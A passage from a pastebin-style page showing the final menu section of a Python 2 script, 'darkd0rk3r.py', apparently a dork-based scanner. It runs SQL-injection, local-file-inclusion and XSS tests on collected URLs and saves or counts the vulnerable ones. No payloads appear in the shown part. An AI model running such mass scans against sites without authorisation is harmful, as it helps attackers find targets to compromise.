  552.  
  553.   if chce == '6':
  554.     injtest()
  555.     xsstest()
  556.  
  557.   if chce == '7':
  558.     lfitest()
  559.     xsstest()
  560.  
  561.   if chce == '8':
  562.     injtest()
  563.     lfitest()
  564.     xsstest()
  565.  
  566.   if chce == '9':
  567.     print B+"nSaving valid urls ("+str(len(finallist))+") to file"
  568.     listname = raw_input("Filename: ")
  569.     list_name = open(listname, "w")
  570.     finallist.sort()
  571.     for t in finallist:
  572.       list_name.write(t+"n")
  573.     list_name.close()
  574.     print "Urls saved, please check", listname
  575.  
  576.   if chce == '10':
  577.     print W+"nPrinting valid urls:n"
  578.     finallist.sort()
  579.     for t in finallist:
  580.       print B+t
  581.  
  582.   if chce == '11':
  583.     print B+"nVuln found ",len(vuln)
  584.  
  585.   if chce == '12':
  586.     new = 1
  587.     print W+""
  588.  
  589.   if chce == '0':
  590.     print R+"n[-] Exiting ..."
  591.     mnu = False
  592.     print W
  593.     sys.exit(1)

Replies to darkd0rk3r.py v.1.0 rss

Title Name Language When
Re: darkd0rk3r.py v.1.0 hicham31 python 11 Months ago.
Re: darkd0rk3r.py v.1.0 Whipped Porcupine python 1 Year ago.

Reply to "darkd0rk3r.py v.1.0"

Here you can reply to the paste above